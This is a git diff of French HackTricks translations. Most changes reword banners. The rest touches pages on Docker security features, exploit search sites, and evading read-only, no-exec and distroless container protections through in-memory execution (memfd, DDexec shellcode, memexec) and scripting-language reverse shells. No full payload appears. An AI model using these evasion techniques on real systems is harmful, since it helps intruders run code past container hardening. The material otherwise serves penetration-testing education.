@@ -8,16 +8,16 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -26,14 +26,14 @@ Accédez dès aujourd'hui : * [**Astuces de piratage Pyscript**](pyscript.md) * [**Désérialisations Python**](../../pentesting-web/deserialization/#python) -* [**Astuces pour contourner les sandbox Python**](bypass-python-sandboxes/) +* [**Astuces pour contourner les bac à sable Python**](bypass-python-sandboxes/) * [**Syntaxe de base des requêtes web Python**](web-requests.md) * [**Syntaxe de base et bibliothèques Python**](basic-python.md) -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -46,8 +46,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/generic-methodologies-and-resources/python/venv.md b/generic-methodologies-and-resources/python/venv.md index fbbec1bfb..90f25f239 100644 --- a/generic-methodologies-and-resources/python/venv.md +++ b/generic-methodologies-and-resources/python/venv.md @@ -8,9 +8,9 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -39,24 +39,24 @@ is fixed running pip3 install wheel inside the virtual environment ``` -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez-y aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement** des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/generic-methodologies-and-resources/python/web-requests.md b/generic-methodologies-and-resources/python/web-requests.md index 71b047534..7f5aeb15a 100644 --- a/generic-methodologies-and-resources/python/web-requests.md +++ b/generic-methodologies-and-resources/python/web-requests.md @@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -117,11 +117,11 @@ return 1 term = Terminal() term.cmdloop() ``` -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : +Accédez-y aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -134,7 +134,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md index fff7c104c..745ed37c2 100644 --- a/generic-methodologies-and-resources/search-exploits.md +++ b/generic-methodologies-and-resources/search-exploits.md @@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -54,17 +54,17 @@ Si rien n'est trouvé, essayez de rechercher la technologie utilisée sur [https ### Vulners -Vous pouvez également effectuer une recherche dans la base de données de Vulners : [https://vulners.com/](https://vulners.com) +Vous pouvez également effectuer une recherche dans la base de données de vulners : [https://vulners.com/](https://vulners.com) ### Sploitus Cela recherche des exploits dans d'autres bases de données : [https://sploitus.com/](https://sploitus.com) -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Obtenez l'accès aujourd'hui : +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -77,7 +77,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez** 💬 le groupe [**Discord**](https://discord.gg/hRep4RUj7f) ou le groupe [**telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index bd1fb1a80..cb96962a1 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -14,9 +14,9 @@ Autres façons de soutenir HackTricks : -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_). {% embed url="https://www.stmcyber.com/careers" %} @@ -29,7 +29,7 @@ Dans les vidéos suivantes, vous trouverez les techniques mentionnées sur cette ## Scénario lecture seule / pas d'exécution -Il est de plus en plus courant de trouver des machines Linux montées avec une protection de système de fichiers en **lecture seule (ro)**, notamment dans les conteneurs. Cela est dû au fait qu'il est facile d'exécuter un conteneur avec un système de fichiers en ro en définissant simplement **`readOnlyRootFilesystem: true`** dans le `securitycontext` : +Il est de plus en plus courant de trouver des machines Linux montées avec une protection de système de fichiers en **lecture seule (ro)**, notamment dans les conteneurs. Cela est dû au fait qu'il est aussi facile de lancer un conteneur avec un système de fichiers en ro qu'en définissant **`readOnlyRootFilesystem: true`** dans le `securitycontext` :
apiVersion: v1
 kind: Pod
@@ -44,7 +44,7 @@ securityContext:
     command: ["sh", "-c", "while true; do sleep 1000; done"]
 
-Cependant, même si le système de fichiers est monté en ro, **`/dev/shm`** restera inscriptible, donc en réalité, nous pouvons écrire sur le disque. Cependant, ce dossier sera **monté avec une protection no-exec**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**. +Cependant, même si le système de fichiers est monté en ro, **`/dev/shm`** restera inscriptible, donc il est faux de dire que nous ne pouvons rien écrire sur le disque. Cependant, ce dossier sera **monté avec une protection no-exec**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**. {% hint style="warning" %} D'un point de vue d'équipe rouge, cela rend **compliqué le téléchargement et l'exécution** de binaires qui ne sont pas déjà présents dans le système (comme des portes dérobées ou des outils d'énumération comme `kubectl`). @@ -52,17 +52,17 @@ D'un point de vue d'équipe rouge, cela rend **compliqué le téléchargement et ## Contournement le plus simple : Scripts -Notez que j'ai mentionné les binaires, vous pouvez **exécuter n'importe quel script** tant que l'interpréteur est présent dans la machine, comme un **script shell** si `sh` est présent ou un **script Python** si `python` est installé. +Notez que j'ai mentionné les binaires, vous pouvez **exécuter n'importe quel script** tant que l'interpréteur est présent dans la machine, comme un **script shell** si `sh` est présent ou un **script python** si `python` est installé. Cependant, cela ne suffit pas pour exécuter votre porte dérobée binaire ou d'autres outils binaires dont vous pourriez avoir besoin d'exécuter. ## Contournements de la mémoire -Si vous souhaitez exécuter un binaire mais que le système de fichiers ne le permet pas, la meilleure façon de le faire est en l'exécutant depuis la mémoire, car les **protections ne s'appliquent pas là**. +Si vous souhaitez exécuter un binaire mais que le système de fichiers ne le permet pas, la meilleure façon de le faire est en l'exécutant à partir de la mémoire, car les **protections ne s'appliquent pas là**. ### Contournement de l'appel système FD + exec -Si vous disposez de moteurs de script puissants dans la machine, tels que **Python**, **Perl** ou **Ruby**, vous pourriez télécharger le binaire à exécuter depuis la mémoire, le stocker dans un descripteur de fichier en mémoire (`create_memfd` syscall), qui ne sera pas protégé par ces protections, puis appeler un **appel système `exec`** en indiquant le **fd comme fichier à exécuter**. +Si vous disposez de moteurs de script puissants dans la machine, tels que **Python**, **Perl** ou **Ruby**, vous pourriez télécharger le binaire à exécuter en mémoire, le stocker dans un descripteur de fichier en mémoire (`create_memfd` syscall), qui ne sera pas protégé par ces protections, puis appeler un **appel système `exec`** en indiquant le **fd comme fichier à exécuter**. Pour cela, vous pouvez facilement utiliser le projet [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Vous pouvez lui passer un binaire et il générera un script dans le langage indiqué avec le **binaire compressé et encodé en b64** avec les instructions pour **le décoder et le décompresser** dans un **fd** créé en appelant la syscall `create_memfd` et un appel à l'appel système **exec** pour l'exécuter. @@ -79,7 +79,7 @@ De plus, la création d'un **fd régulier** avec un fichier dans `/dev/shm` ne f Par conséquent, en **contrôlant le code assembleur** qui est exécuté par le processus, vous pouvez écrire un **shellcode** et "muter" le processus pour **exécuter n'importe quel code arbitraire**. {% hint style="success" %} -**DDexec / EverythingExec** vous permettra de charger et d'**exécuter** votre propre **shellcode** ou **n'importe quel binaire** depuis la **mémoire**. +**DDexec / EverythingExec** vous permettra de charger et d'**exécuter** votre propre **shellcode** ou **n'importe quel binaire** à partir de la **mémoire**. {% endhint %} ```bash # Basic example @@ -93,13 +93,13 @@ Pour plus d'informations sur cette technique, consultez le Github ou : ### MemExec -[**Memexec**](https://github.com/arget13/memexec) est la prochaine étape naturelle de DDexec. C'est un **démon de shellcode DDexec**, donc chaque fois que vous voulez **exécuter un binaire différent**, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite **communiquer avec ce démon pour transmettre de nouveaux binaires à charger et exécuter**. +[**Memexec**](https://github.com/arget13/memexec) est la prochaine étape naturelle de DDexec. C'est un **shellcode demonisé DDexec**, donc chaque fois que vous voulez **exécuter un binaire différent**, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite **communiquer avec ce démon pour transmettre de nouveaux binaires à charger et exécuter**. Vous pouvez trouver un exemple de l'utilisation de **memexec pour exécuter des binaires à partir d'un shell PHP inversé** dans [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). ### Memdlopen -Avec un objectif similaire à DDexec, la technique [**memdlopen**](https://github.com/arget13/memdlopen) permet un **moyen plus facile de charger des binaires** en mémoire pour les exécuter ultérieurement. Cela pourrait même permettre de charger des binaires avec des dépendances. +Dans un but similaire à DDexec, la technique [**memdlopen**](https://github.com/arget13/memdlopen) permet une **manière plus facile de charger des binaires** en mémoire pour les exécuter ultérieurement. Cela pourrait même permettre de charger des binaires avec des dépendances. ## Contournement de Distroless @@ -117,7 +117,7 @@ Dans un conteneur Distroless, vous pourriez **ne pas trouver même `sh` ou `bash Par conséquent, vous **ne pourrez pas** obtenir un **shell inversé** ou **énumérer** le système comme vous le faites habituellement. {% endhint %} -Cependant, si le conteneur compromis exécute par exemple une application web Flask, alors Python est installé, et donc vous pouvez obtenir un **shell Python inversé**. S'il exécute Node, vous pouvez obtenir un shell Node, et de même avec la plupart des **langages de script**. +Cependant, si le conteneur compromis exécute par exemple une application web flask, alors Python est installé, et donc vous pouvez obtenir un **shell Python inversé**. S'il exécute node, vous pouvez obtenir un shell Node, et de même avec la plupart des **langages de script**. {% hint style="success" %} En utilisant le langage de script, vous pourriez **énumérer le système** en utilisant les capacités du langage. @@ -131,7 +131,7 @@ Cependant, dans ce type de conteneurs, ces protections existent généralement, Vous pouvez trouver des **exemples** sur la façon d'**exploiter certaines vulnérabilités RCE** pour obtenir des **shells inversés de langages de script** et exécuter des binaires en mémoire dans [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). -
+
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_). diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index 633409b27..10741c6ad 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -14,11 +14,11 @@ Autres façons de soutenir HackTricks : -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : +Obtenez un accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -49,7 +49,7 @@ Des certificats sont utilisés pour confirmer l'identité d'un serveur. Pour des Les images de conteneurs peuvent être stockées dans des référentiels privés ou publics. Docker propose plusieurs options de stockage pour les images de conteneurs : * [**Docker Hub**](https://hub.docker.com) : Un service de registre public de Docker. -* [**Docker Registry**](https://github.com/docker/distribution) : Un projet open-source permettant aux utilisateurs d'héberger leur propre registre. +* [**Docker Registry**](https://github.com/docker/distribution) : Un projet open source permettant aux utilisateurs d'héberger leur propre registre. * [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry) : Offre commerciale de Docker, proposant une authentification des utilisateurs basée sur les rôles et une intégration avec les services d'annuaire LDAP. ### Analyse d'images @@ -109,7 +109,7 @@ Lorsque vous passez d'un hôte Docker à un autre, il est nécessaire de déplac
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser les workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -128,19 +128,19 @@ Dans les environnements conteneurisés, isoler les projets et leurs processus es * **Objectif** : Assurer l'isolation des ressources telles que les processus, le réseau et les systèmes de fichiers. En particulier dans Docker, les espaces de noms maintiennent les processus d'un conteneur séparés de l'hôte et des autres conteneurs. * **Utilisation de `unshare`** : La commande `unshare` (ou l'appel système sous-jacent) est utilisée pour créer de nouveaux espaces de noms, offrant une couche supplémentaire d'isolation. Cependant, bien que Kubernetes ne bloque pas cela de manière inhérente, Docker le fait. -* **Limitation** : Créer de nouveaux espaces de noms n'autorise pas un processus à revenir aux espaces de noms par défaut de l'hôte. Pour pénétrer les espaces de noms de l'hôte, on aurait généralement besoin d'accéder au répertoire `/proc` de l'hôte, en utilisant `nsenter` pour entrer. +* **Limitation** : La création de nouveaux espaces de noms n'autorise pas un processus à revenir aux espaces de noms par défaut de l'hôte. Pour pénétrer les espaces de noms de l'hôte, on aurait généralement besoin d'accéder au répertoire `/proc` de l'hôte, en utilisant `nsenter` pour entrer. **Groupes de contrôle (CGroups)** * **Fonction** : Principalement utilisé pour allouer des ressources entre les processus. -* **Aspect de sécurité** : Les CGroups eux-mêmes ne garantissent pas la sécurité de l'isolation, sauf pour la fonction `release_agent`, qui, si mal configurée, pourrait potentiellement être exploitée pour un accès non autorisé. +* **Aspect de sécurité** : Les CGroups eux-mêmes n'offrent pas de sécurité d'isolation, sauf pour la fonction `release_agent`, qui, si mal configurée, pourrait potentiellement être exploitée pour un accès non autorisé. **Abandon de capacité (Capability Drop)** * **Importance** : Il s'agit d'une fonctionnalité de sécurité cruciale pour l'isolation des processus. * **Fonctionnalité** : Il restreint les actions qu'un processus root peut effectuer en abandonnant certaines capacités. Même si un processus s'exécute avec des privilèges root, le manque des capacités nécessaires l'empêche d'exécuter des actions privilégiées, car les appels système échoueront en raison de permissions insuffisantes. -Voici les **capacités restantes** après que le processus a abandonné les autres : +Ce sont les **capacités restantes** après que le processus a abandonné les autres : {% code overflow="wrap" %} ``` @@ -150,14 +150,14 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca **Seccomp** -Il est activé par défaut dans Docker. Cela aide à **limiter encore plus les appels système** que le processus peut appeler.\ +Il est activé par défaut dans Docker. Il aide à **limiter encore plus les appels système** que le processus peut appeler.\ Le **profil Seccomp par défaut de Docker** peut être trouvé dans [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) **AppArmor** -Docker dispose d'un modèle que vous pouvez activer : [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Docker a un modèle que vous pouvez activer : [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -Cela permet de réduire les capacités, les appels système, l'accès aux fichiers et dossiers... +Cela permettra de réduire les capacités, les appels système, l'accès aux fichiers et dossiers... @@ -181,7 +181,7 @@ Pour **plus d'informations sur les espaces de noms**, consultez la page suivante ### cgroups -La fonctionnalité du noyau Linux **cgroups** permet de **restreindre les ressources telles que le CPU, la mémoire, l'E/S, la bande passante réseau parmi** un ensemble de processus. Docker permet de créer des conteneurs en utilisant la fonctionnalité cgroup qui permet le contrôle des ressources pour le conteneur spécifique.\ +La fonctionnalité du noyau Linux **cgroups** fournit la capacité de **restreindre les ressources telles que le CPU, la mémoire, l'E/S, la bande passante réseau parmi** un ensemble de processus. Docker permet de créer des conteneurs en utilisant la fonctionnalité cgroup qui permet le contrôle des ressources pour le conteneur spécifique.\ Voici un conteneur créé avec une mémoire d'espace utilisateur limitée à 500m, une mémoire noyau limitée à 50m, une part de CPU à 512, un poids de blkioweight à 400. La part de CPU est un ratio qui contrôle l'utilisation du CPU du conteneur. Il a une valeur par défaut de 1024 et une plage entre 0 et 1024. Si trois conteneurs ont la même part de CPU de 1024, chaque conteneur peut utiliser jusqu'à 33% du CPU en cas de contention des ressources CPU. blkio-weight est un ratio qui contrôle l'E/S du conteneur. Il a une valeur par défaut de 500 et une plage entre 10 et 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash @@ -226,9 +226,9 @@ Il s'agit d'une fonctionnalité de sécurité qui permet à Docker de **limiter ### SELinux dans Docker -* **Système d'étiquetage** : SELinux attribue une étiquette unique à chaque processus et objet de système de fichiers. +* **Système d'étiquetage** : SELinux attribue une étiquette unique à chaque processus et objet du système de fichiers. * **Application des politiques** : Il applique des politiques de sécurité définissant les actions qu'une étiquette de processus peut effectuer sur d'autres étiquettes dans le système. -* **Étiquettes de processus de conteneur** : Lorsque les moteurs de conteneurs initient des processus de conteneurs, ils sont généralement attribués une étiquette SELinux confinée, couramment `container_t`. +* **Étiquettes de processus de conteneur** : Lorsque les moteurs de conteneurs lancent des processus de conteneurs, ils se voient généralement attribuer une étiquette SELinux confinée, couramment `container_t`. * **Étiquetage des fichiers dans les conteneurs** : Les fichiers à l'intérieur du conteneur sont généralement étiquetés `container_file_t`. * **Règles de politique** : La politique SELinux garantit principalement que les processus avec l'étiquette `container_t` ne peuvent interagir (lire, écrire, exécuter) qu'avec des fichiers étiquetés `container_file_t`. 